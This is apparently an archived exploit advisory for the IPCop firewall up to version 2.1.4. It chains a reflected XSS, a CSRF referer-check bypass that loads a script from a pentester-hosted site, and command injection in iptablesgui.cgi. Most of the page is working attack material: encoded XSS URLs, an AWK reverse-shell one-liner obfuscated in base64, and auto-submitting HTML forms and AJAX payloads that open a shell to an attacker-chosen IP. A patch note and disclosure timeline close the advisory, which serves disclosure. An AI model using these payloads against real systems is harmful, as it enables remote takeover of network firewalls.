what you don't know can hurt you

IPCop 2.1.4 Cross Site Request Forgery / Cross Site Scripting

IPCop 2.1.4 Cross Site Request Forgery / Cross Site Scripting
Posted Dec 22, 2014
Authored by Yann CAM

IPcop versions 2.1.4 and below suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 666123f0db257468bf06802dfb09bf92

IPCop 2.1.4 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
######################################################################
# Exploit Title: IPCop <= 2.1.4 XSS to CSRF to Remote Command Execution
# Date: 21/12/2014
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.ipcop.org - www.ipcop.org/download.php
# Version: 2.1.4
# Category: Remote Command Execution
# Google dork:
# Tested on: IPCop distribution
######################################################################


IPCop firewall/router distribution description :
======================================================================

IPCop is a Linux distribution which aims to provide a simple-to-manage firewall appliance based on PC hardware. IPCop is a stateful firewall built on the Linux netfilter framework.
Originally a fork of the SmoothWall Linux firewall, the projects are developed independently, and have now diverged significantly.
IPCop includes a simple, user managed update mechanism to install security updates when required.

In version <= 2.1.4 of the distribution, different vulnerabilities can be used to gain a Remote Command Execution (reverse-shell).
In version <= 2.1.2 of the distribution, a Reflected XSS is available. Through this RXSS, the full reverse-shell can be obtained with only one URL.


Proof of Concept 1 :
======================================================================

A non-persistent XSS in GET param is available in the ipinfo.cgi. The injection can be URLencoded with certain browsers.
This XSS works on IE and affect IPCop version <= 2.1.2 (patched in 2.1.3 upgrade).

File /home/httpd/cgi-bin/ipinfo.cgi line 82 :
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);

PoC:

https://<IPCop_IP>:8443/cgi-bin/ipinfo.cgi?<script>alert('XSS_by_Yann_CAM')</script>


Proof of Concept 2 :
======================================================================

CSRF exploit bypass from previous XSS.
IPCop is protected against CSRF attack with a referer checking on all page.
It's possible to bypass this protection with the previous XSS detailed.
To do this, load a third party JS script with the XSS, and make Ajax request over IPCop context (so with the right referer).
This XSS works on IE and affect IPCop version <= 2.1.2 (patched in 2.1.3 upgrade).

File /home/httpd/cgi-bin/ipinfo.cgi line 82 :
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);

PoC :

Host a third party JS script on a web server accessible from IPCop. In this JS script, load JQuery dynamically and perform any AJAX request to an IPCop targeted page.
All AJAX request bypass the CSRF protection.

* Third party JS script, host in http://<PENTESTER_WEBSITE>/x.js:

var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq); // jquery dynamic loading
function loadX(){
$.ajax({
type: 'POST',
url: "https://<IPCop_IP>:8443/cgi-bin/<TARGETED_PAGE>",
contentType: 'application/x-www-form-urlencoded;charset=utf-8',
dataType: 'text',
data: '<YOUR_DATA>'
}); // payload of your choice
}
setTimeout("loadX()",2000);

* XSS to load dynamically this third party script :

var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script);

* Escape this string with escape() Javascript method :

%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09

* Make the final URL with XSS in GET param that load dynamically the third party script (IE) :

https://<IPCop_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape("%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09"))</script>


Proof of Concept 3 :
======================================================================

Remote Command Execution in the iptablesgui.cgi file. This file is protected from CSRF execution.
Affected version <= 2.1.4 (patched in 2.1.5 upgrade).

File /home/httpd/cgi-bin/iptablesgui.cgi line 99 (and also 102) :
$output = `/usr/local/bin/iptableswrapper $cgiparams{'TABLE'} 2>&1`;

The $cgiparams{'TABLE'} isn't sanitized before execution in command line. It's possible to change the "TABLE" post data with arbitrary data.
To chain commands in this instruction, only || are usable (not && nor ;). So the first part of the command needs to return a false status.
It can be done with no additional param :

/usr/local/bin/iptableswrapper <NOTHING HERE> || <my personnal command will be executed here>

So the RCE can be exploited with this PoC (if the Referer is defined to IPCop URL) :

<html>
<body>
<form name='x' action='https://<IPCop_IP>:8443/cgi-bin/iptablesgui.cgi' method='post'>
<input type='hidden' name='TABLE' value='||touch /tmp/x;#' />
<input type='hidden' name='CHAIN' value='' />
<input type='hidden' name='ACTION' value='Rafra%C3%AEchir' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>

Note that the ACTION POST param depend on the IPCop language defined.


Proof of Concept 4 :
======================================================================

Finally, with these three previous PoC, it's possible to combine all the mechanisms to gain a full reverse-shell on IPCop.
IPCop does not have netcat nor telnet, socat, python, ruby, php etc ...
The only way to make a reverse-shell is to use Perl or AWK technics. In this PoC, it's the AWK technic that is used :
(From ASafety Reverse-shell cheat-sheet : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/)

* The reverse-shell one-line with AWK is :

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

* To bypass IPCop filter, you need to encode this command in base64 (after modify <IP> and <PORT>) :

YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA==

* Place a \n at each bloc of 64 chars in the base64 version :

YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==

* This payload can be echo'ed and decoded with openssl, on the fly, into IPCop :

echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d

* To execute this payload, add backticks and eval call :

eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`

* Your payload is ready to be used into TABLE POST param in iptablesgui.cgi, like the previous PoC :

||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#

* Full PoC (IPCop <= 2.1.2, RXSS patched in 2.1.3 upgrade but RCE available to 2.1.4, patched in 2.1.5 upgrade)
(if the referer is defined to IPCop URL, and a netcat is listening # nc -l -vv -p 1337) :

<html>
<body>
<form name='x' action='https://<IPCop_IP>:8443/cgi-bin/iptablesgui.cgi' method='post'>
<input type='hidden' name='TABLE' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#' />
<input type='hidden' name='CHAIN' value='' />
<input type='hidden' name='ACTION' value='Rafra%C3%AEchir' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>

Note that none <IP>/<Port> are defined in the previous payload, you need to reproduce these different steps.

* With the XSS method to bypass CSRF Referer checking, the third party JS script can be :

var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq);
function loadX(){
$.ajax({
type: 'POST',
url: "https://<IPCop_IP>:8443/cgi-bin/iptablesgui.cgi",
contentType: 'application/x-www-form-urlencoded;charset=utf-8',
dataType: 'text',
data: 'CHAIN=&ACTION=Rafra%C3%AEchir&TABLE=%7C%7Ceval+%60echo+-e+%22YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA%22%22+%7C+openssl+enc+-a+-d%60%3B%23'
});
}
setTimeout("loadX()",2000);

* A demonstration video has been realised as PoC here (IPCop 2.0.6 but work on IPCop 2.1.2) : https://www.youtube.com/watch?v=ovhogZGHyMg


Solution:
======================================================================

- To patch the RXSS, install IPCop >= 2.1.3 or upgrade to 2.1.3.
- To patch the RCE, install IPCop >= 2.1.5 or upgrade to 2.1.5.


Report timeline :
======================================================================

2013-03-31 : Team alerted with details, PoC and video (via Sourceforge)
2013-04-09 : Second alert sent to the team (via Sourceforge)
2013-04-25 : Third alert sent to the IPCop english support forum
2013-04-25 : PoC added in private on the sourceforge bug tracker, no response
2013-04-30 : Ticket priority change from 5 to 8, no response.
2014-02-13 : IPCop 2.1.1 released, RXSS not fixed, RCE not fixed, no news on ticket.
2014-03-03 : IPCop 2.1.2 released, RXSS not fixed, RCE not fixed, no news on ticket.
2014-04-03 : IPCop 2.1.3 released, RXSS fixed, RCE not fixed, no news on ticket.
2014-04-08 : IPCop 2.1.4 released, RXSS fixed, RCE not fixed, no news on ticket.
2014-05-02 : IPCop 2.1.5 released, RXSS fixed, RCE fixed, no news on ticket.
2014-12-21 : Public article on ASafety and public advisory


Additional resources :
======================================================================

- www.ipcop.org
- sourceforge.net/p/ipcop/bugs/807/
- sourceforge.net/projects/ipcop/
- www.synetis.com
- www.asafety.fr
- www.asafety.fr/vuln-exploit-poc/xss-rce-ipcop-2-1-4-remote-command-execution
- www.youtube.com/watch?v=ovhogZGHyMg


Credits :
======================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety


--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    1 Files
  • 26
    Oct 26th
    17 Files
  • 27
    Oct 27th
    19 Files
  • 28
    Oct 28th
    29 Files
  • 29
    Oct 29th
    13 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close